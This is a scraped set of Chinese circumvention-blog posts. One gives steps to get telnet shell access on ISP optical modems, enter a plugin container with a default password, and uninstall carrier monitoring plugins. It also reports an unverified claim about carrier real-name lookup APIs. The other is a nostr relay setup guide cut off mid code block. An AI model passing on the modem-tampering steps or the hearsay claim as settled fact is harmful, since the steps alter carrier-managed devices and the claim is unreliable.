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" /> <br /></span></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">---------------------------------------------------------------------</span></p><p>补充,首先该经历并非本人,是本人所在公司之另一分公司同事,其次文内信息已足够详细,地区和运营商信息要素齐全,详细到该同事已被某些恶俗人士开盒(查询周六安装 f30 工单开和通 1 元 2000m 提速工单,范围很小),无论如何,请不要骚扰我的同事,<br /><br /><br />经过三天多的研究,卸载插件方法:<br /><br />电信定制:<br />第一步开 telnet 访问 shell ,具体按照自己型号搜索<br />执行 saf 或 saf-huawei 进入插件容器,密码 upt<br />在容器内执行 /sbin/<a href="http://ctc-app.sh" rel="nofollow noopener" target="_blank">ctc-app.sh</a> List 查看已下发的插件列表<br />执行 /sbin/<a href="http://ctc-app.sh" rel="nofollow noopener" target="_blank">ctc-app.sh</a> Uninstall 上一步看到的插件名称进行卸载<br />防止卸载后重新下发死灰复燃,记得删除/etc/rc.d 中的 cloudclt 等启动项<br /><br /><br />移动定制:<br />插件名称 com.chinamobile.smartgateway.cmccdpi<br />参考 <a href="https://akbwe.com/posts/f7607p_java/" rel="nofollow noopener" target="_blank">https://akbwe.com/posts/f7607p_java/</a><br /><br />联通定制:<br />主进程 CUInform ,拉起的插件均有保活机制,暂时没有找到关闭方法<br /><br /><br />目前的临时措施:<br />二级路由屏蔽全部出向 53 端口流量,改由 DNSPod DoH 统一出口,<br />二级路由屏蔽所有反诈页面,防止客户端跳转展示,<br />目前卸载插件配合以上两条可正常访问 cloudflare ,暂未触发反诈提示电话<br /><br /><br />至于反诈电话怎么准确联系到你,某运营商服务商提到,三家运营商都对外提供使用 ip+端口+时间三要素查询所属用户实名信息使用人信息联系人号码的接口,对于早期办理宽带也没有变更套餐的用户,其联系人号码默认空或等同宽带账号,是无法发起呼叫的。<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> </span> </p><div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-9075227009474900262023-10-28T11:58:00.004+08:002023-10-28T11:58:24.582+08:00搭建一个 nostr 中继服务<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><p style="-webkit-text-stroke-width: 0px; background-color: white; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 10px 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">via <a href="https://kimi.im/2023-02-04-setup-nostr-relay">https://kimi.im/2023-02-04-setup-nostr-relay</a> <br /></p><p style="-webkit-text-stroke-width: 0px; background-color: white; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 10px 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><a href="https://github.com/nostr-protocol/nostr" style="color: #0088cc; text-decoration: none;">nostr</a><span> </span>是一个相当简单的开放协议,可以在全球范围内搭建一个有趣的社交网络。因为协议本身很简单,所以大部分的加密、签名工作在客户端完成,而中继服务器 Relay 所做的事情只是接收事件消息,根据客户端订阅要求返回消息。</p><p style="-webkit-text-stroke-width: 0px; background-color: white; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 10px 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">目前 relay 的实现也很多,比如 nostream 的搭建就很方便,只要安装好 docker,设置好域名,直接运行就可以啦。</p><p style="-webkit-text-stroke-width: 0px; background-color: white; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 10px 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">以下记录一下 Relay 的搭建过程。</p><div class="outline-2" id="outline-container-org64de9c9" style="-webkit-text-stroke-width: 0px; background-color: white; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><h2 id="org64de9c9" style="color: inherit; font-family: inherit; font-size: 24px; font-weight: bold; line-height: 40px; margin: 10px 0px; text-rendering: optimizelegibility;"><span class="section-number-2">1.</span><span> </span>安装基础软件</h2><div class="outline-text-2" id="text-1"><p style="margin: 10px 0px;">首先分配一台安装 Ubuntu Server 20.04 LTS Ubuntu Server 20.04 LTS 操作系统的虚拟机,默认规格就够了。</p><p style="margin: 10px 0px;">首先,更新软件包列表。提示 30 个软件包需要升级,暂时先不管。</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo apt update
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">update package list from mirrors</span>
Fetched 25.5 MB<span style="color: #7f0055; font-weight: bold;"> in</span> 4s (6240 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
30 packages can be upgraded. Run <span style="color: #2a00ff;">'apt list --upgradable'</span> to see them.
</pre></div><p style="margin: 10px 0px;">然后,安装以下软件包,用来运行编译 nostream,配置 relay 的证书。</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo apt install nodejs npm nginx certbot python3-certbot-nginx
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">list of packages need to be installed</span>
0 upgraded, 410 newly installed, 0 to remove and 30 not upgraded.
Need to get 168 MB of archives.
After this operation, 669 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">installation in progress</span>
</pre></div></div></div><div class="outline-2" id="outline-container-orgec11bfe" style="-webkit-text-stroke-width: 0px; background-color: white; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><h2 id="orgec11bfe" style="color: inherit; font-family: inherit; font-size: 24px; font-weight: bold; line-height: 40px; margin: 10px 0px; text-rendering: optimizelegibility;"><span class="section-number-2">2.</span><span> </span>安装 docker</h2><div class="outline-text-2" id="text-2"><p style="margin: 10px 0px;">接下来,安装 docker,因为根据 nostream 官网要求,需要安装官方的 docker。就是按照<span> </span><a href="https://docs.docker.com/engine/install/ubuntu/" style="color: #0088cc; text-decoration: none;">https://docs.docker.com/engine/install/ubuntu/</a><span> </span>安装 docker。</p><p style="margin: 10px 0px;">首先,删除已经安装的 docker(如果有,我的这台机器刚初始化,所以没有安装 docker)。</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo apt-get remove docker.io
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package <span style="color: #2a00ff;">'docker.io'</span> is not installed, so not removed
0 upgraded, 0 newly installed, 0 to remove and 30 not upgraded.
</pre></div><p style="margin: 10px 0px;">然后,安装 docker 需要的证书组件。</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo apt-get install ca-certificates curl gnupg lsb-release
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
lsb-release is already the newest version (11.1.0ubuntu4)<span style="color: #7f0055; font-weight: bold;">.</span>
lsb-release set to manually installed.
ca-certificates is already the newest version (20211016ubuntu0.22.04.1)<span style="color: #7f0055; font-weight: bold;">.</span>
ca-certificates set to manually installed.
curl is already the newest version (7.81.0-1ubuntu1.7)<span style="color: #7f0055; font-weight: bold;">.</span>
curl set to manually installed.
gnupg is already the newest version (2.2.27-3ubuntu2.1)<span style="color: #7f0055; font-weight: bold;">.</span>
gnupg set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 30 not upgraded.
</pre></div><p style="margin: 10px 0px;">接着,添加 docker 官方 GPG 证书。</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo mkdir -p /etc/apt/keyrings
kimim@nostr:~$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
</pre></div><p style="margin: 10px 0px;">添加 docker 官方源:</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ echo <span style="color: #2a00ff;">\</span>
<span style="color: #2a00ff;">"deb [arch=$(</span><span style="color: magenta;">dpkg --print-architecture</span><span style="color: #2a00ff;">) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \</span>
<span style="color: #2a00ff;"> $(</span><span style="color: magenta;">lsb_release -cs</span><span style="color: #2a00ff;">) stable"</span> | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
</pre></div><p style="margin: 10px 0px;">再次更新软件包:</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo apt-get update
Get:1 https://download.docker.com/linux/ubuntu jammy InRelease [48.9 kB]
Get:2 https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages [12.7 kB]
Fetched 61.6 kB<span style="color: #7f0055; font-weight: bold;"> in</span> 1s (105 kB/s)
Reading package lists... Done
</pre></div><p style="margin: 10px 0px;">安装 docker 以及 cli,compose 插件。</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo apt-get install docker-ce docker-ce-cli containerd.io docker-compose-plugin
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">list of packages need to be installed</span>
0 upgraded, 11 newly installed, 0 to remove and 30 not upgraded.
Need to get 111 MB of archives.
After this operation, 397 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">installation in progress</span>
</pre></div><p style="margin: 10px 0px;">把当前用户添加到 docker 权限组:</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo usermod -a -G docker kimim
kimim@nostr:~$ newgrp docker
</pre></div><p style="margin: 10px 0px;">测试一下 docker 是否正常工作:</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ docker run hello-world
Unable to find image <span style="color: #2a00ff;">'hello-world:latest'</span> locally
latest: Pulling from library/hello-world
2db29710123e: Pull complete
Digest: sha256:aa0cc8055b82dc2509bed2e19b275c8f463506616377219d9642221ab53cf9fe
Status: Downloaded newer image for hello-world:latest
Hello from Docker!
This message shows that your installation appears to be working correctly.
</pre></div></div></div><div class="outline-2" id="outline-container-org50b2461" style="-webkit-text-stroke-width: 0px; background-color: white; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><h2 id="org50b2461" style="color: inherit; font-family: inherit; font-size: 24px; font-weight: bold; line-height: 40px; margin: 10px 0px; text-rendering: optimizelegibility;"><span class="section-number-2">3.</span><span> </span>配置服务器证书</h2><div class="outline-text-2" id="text-3"><p style="margin: 10px 0px;">修改 nginx 的配置文件。请根据自己的服务器域名修改<span> </span><code style="background-color: #f7f7f9; border-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Monaco, Menlo, Consolas, "Courier New", monospace; font-size: 12px; padding: 2px 4px; white-space: nowrap;">server_name</code><span> </span>字段。</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo rm -rf /etc/nginx/sites-available/default
kimim@nostr:~$ sudo vi /etc/nginx/sites-available/default
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">添加以下内容</span>
kimim@nostr:~$ cat /etc/nginx/sites-available/default
server{
server_name nostr.kimi.im;
location / {
proxy_set_header X-Forwarded-For $<span style="color: black;">proxy_add_x_forwarded_for</span>;
proxy_set_header Host $<span style="color: black;">host</span>;
proxy_pass http://127.0.0.1:8008;
proxy_http_version 1.1;
proxy_set_header Upgrade $<span style="color: black;">http_upgrade</span>;
proxy_set_header Connection <span style="color: #2a00ff;">"upgrade"</span>;
}
}
</pre></div><p style="margin: 10px 0px;">重启 nginx,使配置生效。</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo service nginx restart
</pre></div><p style="margin: 10px 0px;">添加 A 域名记录,比如:</p><pre class="example" id="orgec34fcb" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: auto; padding: 8pt; white-space: pre-wrap; word-break: break-all;">TYPE HOST ANSWER TTL
A nostr.kimi.im 192.30.252.153 300
</pre><p style="margin: 10px 0px;">等一两分钟,等域名记录生效,再用 certbox 配置服务器证书:</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ sudo certbot --nginx -d nostr.kimi.im
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Enter email address (used for urgent renewal and security notices)
(Enter <span style="color: #2a00ff;">'c'</span> to cancel): kimim@kimi.im
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please read the Terms of Service at
https://letsencrypt.org/documents/LE-SA-v1.3-September-21-2022.pdf. You must
agree<span style="color: #7f0055; font-weight: bold;"> in</span> order to register with the ACME server. Do you agree?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(Y)es/(N)o: Y
Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/nostr.kimi.im/fullchain.pem
Key is saved at: /etc/letsencrypt/live/nostr.kimi.im/privkey.pem
This certificate expires on 2023-05-05.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate<span style="color: #7f0055; font-weight: bold;"> in</span> the background.
Deploying certificate
Successfully deployed certificate for nostr.kimi.im to /etc/nginx/sites-enabled/default
Congratulations! You have successfully enabled HTTPS on https://nostr.kimi.im
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you like Certbot, please consider supporting our work by:
* Donating to ISRG / Let<span style="color: #2a00ff;">'s Encrypt: https://letsencrypt.org/donate</span>
<span style="color: #2a00ff;"> * Donating to EFF: https://eff.org/donate-le</span>
<span style="color: #2a00ff;">- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -</span>
</pre></div></div></div><div class="outline-2" id="outline-container-org9ff4345" style="-webkit-text-stroke-width: 0px; background-color: white; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><h2 id="org9ff4345" style="color: inherit; font-family: inherit; font-size: 24px; font-weight: bold; line-height: 40px; margin: 10px 0px; text-rendering: optimizelegibility;"><span class="section-number-2">4.</span><span> </span>运行 nostream</h2><div class="outline-text-2" id="text-4"><p style="margin: 10px 0px;">获取 nostream 代码:</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ git clone https://github.com/Cameri/nostream.git
Cloning into <span style="color: #2a00ff;">'nostream'</span>...
remote: Enumerating objects: 3287, done.
remote: Counting objects: 100% (1228/1228), done.
remote: Compressing objects: 100% (415/415), done.
remote: Total 3287 (delta 889), reused 984 (delta 803), pack-reused 2059
Receiving objects: 100% (3287/3287), 1.05 MiB | 7.90 MiB/s, done.
Resolving deltas: 100% (2036/2036), done.
</pre></div><p style="margin: 10px 0px;">用 docker 运行 nostream,大概用了两分钟,就看到一个漂亮的 NOSTREAM logo 了。</p><div class="org-src-container"><pre class="src src-shell" style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(238, 238, 238) 3px 3px 3px; color: #333333; display: block; font-family: monospace; font-size: 13px; line-height: 20px; margin: 1.2em; overflow-wrap: break-word; overflow: visible; padding: 1.2em 8pt 8pt; position: relative; white-space: pre-wrap; word-break: break-all;">kimim@nostr:~$ cd nostream/
kimim@nostr:~/nostream$ npm run docker:compose:start
> nostream@1.21.0 docker:compose:start
> ./scripts/start
[+] Running 25/25
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">...</span>
[+] Building 128.2s (16/16) FINISHED
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">...</span>
[+] Running 6/5
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">...</span>
Attaching to nostream, nostream-cache, nostream-db, nostream-migrate
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">...</span>
nostream-db | CREATE DATABASE
<span style="color: #3f7f5f;"># </span><span style="color: #3f7f5f;">...</span>
nostream |
nostream | ███▄ █ ▒█████ ██████ ▄▄▄█████▓ ██▀███ ▓█████ ▄▄▄ ███▄ ▄███▓
nostream | ██ ▀█ █ ▒██▒ ██▒▒██ ▒ ▓ ██▒ ▓▒▓██ ▒ ██▒▓█ ▀▒████▄ ▓██▒▀█▀ ██▒
nostream | ▓██ ▀█ ██▒▒██░ ██▒░ ▓██▄ ▒ ▓██░ ▒░▓██ ░▄█ ▒▒███ ▒██ ▀█▄ ▓██ ▓██░
nostream | ▓██▒ ▐▌██▒▒██ ██░ ▒ ██▒░ ▓██▓ ░ ▒██▀▀█▄ ▒▓█ ▄░██▄▄▄▄██ ▒██ ▒██
nostream | ▒██░ ▓██░░ ████▓▒░▒██████▒▒ ▒██▒ ░ ░██▓ ▒██▒░▒████▒▓█ ▓██▒▒██▒ ░██▒
nostream | ░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░ ▒ ░░ ░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ▓▒█░░ ▒░ ░ ░
nostream | ░ ░░ ░ ▒░ ░ ▒ ▒░ ░ ░▒ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░ ▒ ▒▒ ░░ ░ ░
nostream | ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ ░ ░ ▒ ░ ░
nostream | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
nostream | v1.21.0
nostream | NIPs implemented: 1,2,4,9,11,12,15,16,20,22,26,28,33,40
nostream | Pay-to-relay disabled
nostream | Payments provider: zebedee
nostream | 2 client workers started
nostream | 1 maintenance worker started
nostream | Tor hidden service: disabled
</pre></div></div></div><div class="outline-2" id="outline-container-org62a5679" style="-webkit-text-stroke-width: 0px; background-color: white; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><h2 id="org62a5679" style="color: inherit; font-family: inherit; font-size: 24px; font-weight: bold; line-height: 40px; margin: 10px 0px; text-rendering: optimizelegibility;"><span class="section-number-2">5.</span><span> </span>用 noscl 测试 relay 是否正常工作</h2><div class="outline-text-2" id="text-5"><p style="margin: 10px 0px;">删除之前添加的 relay:</p><div class="org-src-container"><pre class="src 